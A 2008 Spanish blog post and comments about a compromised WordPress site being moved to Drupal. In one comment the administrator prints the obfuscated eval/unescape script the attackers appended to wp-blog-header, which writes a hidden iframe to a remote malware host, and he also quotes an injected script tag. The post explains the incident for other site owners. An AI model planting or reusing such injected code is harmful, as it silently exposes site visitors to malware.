Navegación

Acceso


Principal

Estamos cambiando UBH

Lun, 04/28/2008 - 18:27 — Carmen

Actualización (unos breves segundos después): Me comenta Mixel, que el problema que tuvimos, el del merluzo, parece ser que intentaba hacer un "defacement" , como les ha ocurrido a cientos de sitios de internet, pero bueno no lo consiguió y se lió a tortazos con la entrada :(

Quiero darle las gracias, al merluzo que hoy ha intentado entrar en la administración de UBH y al no poder hacerlo reventó la puerta, el arreglo no le llevó a Mixel ni cinco minutos, pero nos ha hecho plantearnos un cambio a un sistema más seguro, así que a partir de ahora la UBH va a estar en Drupal.
Disculpad las molestias que os estamos causando (ya sé que no son pocas) y ya veréis que el resultado final merecerá la pena.
Saludos a todos

Agregar esta página a Mister Wong

Comentarios

Lun, 04/28/2008 - 20:59 — Héctor Russo
Imagen de Héctor Russo

Ayer intente entrar.....

Pero mi antivirus me detuvo, asi que me quede tranquilo sin intentar nada mas :-)
Saludos y bienvenido sera el cambio.

Hector

Lun, 04/28/2008 - 21:24 — Carmen

Hola Héctor, qué alegría

Hola Héctor, qué alegría me da leerte, si a mí me pasó lo mismo, según me cuenta Mixel, parece que se debe a una extraña reivindicación contraprotestando a los que apoyan la libertad en el Tíbet, no me hagas mucho caso, este cambio lo tenía planteado hace tiempo, pero mira, me han animado, aunque te aseguro que traerme los contenidos de wordpress si que es un trabajo de chinos.

Lun, 04/28/2008 - 21:37 — xkirax

Oh yeah

My buena Mixel ;D

Mar, 04/29/2008 - 16:27 — Mik

Lo siento por la lata que da...

... pero me alegro porque me encanta la nueva pinta. Es una chulada.

Mar, 04/29/2008 - 23:41 — Mixel

Que tal

Que tal com estan todos

 

Bien resolver que hicieron los chinos en la página y coregirlo no me llevo mucho tiempo, ya que es fácil cuando sabes que buscas, pero tu seguridad así como la repurtación de tu sitio n o tienen precio y desde mi muy personal punto de vista no recomiendo ni uso WordPress, porque muy seguido salen nuevos exploits.

Esto ya se lo habia externado a carmen, jeje asi que aquí aplica la frase: una vez ahogado el niño a tapar el pozo.

 

si a alguien le da curiosidad esto fue lo que hicieron.

En el archivo wp-blog-header insertaron al final del archivo lo siguiente:

<!-- ~ --><script type="text/javascript">
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27

%5C%75%30%30%33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%

75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30

%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%35%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%37%5C%75%30%30%36%39%5C%75%30%30%36%34%5C%75%30%30%37%34%5C%75%30%30%36%38%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%30%30%36%35%5C%75%30%30%36%39%5C%75%30%30%36%37%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%36%65%5C%75%30%30%36%66%5C%75%30%30

%36%65%5C%75%30%30%36%35%5C%75%30%30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%

30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%3

0%30%36%64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
</script><!-- ~ -->
que no es más que un script ofuscado y en el archivo includes/funtions.php se inserto lo siguiente:

<script language="javascript" src="/init.js" type="text/javascript"></script>

Me resulta muy raro que el archivo init.js estaba vacio, nos e si lo borraron ellos o asi era el plan.

 

Saludos y espero que si a alguien más le fallo WP esa es la solución

 

 

Mixel Adm

Publicidad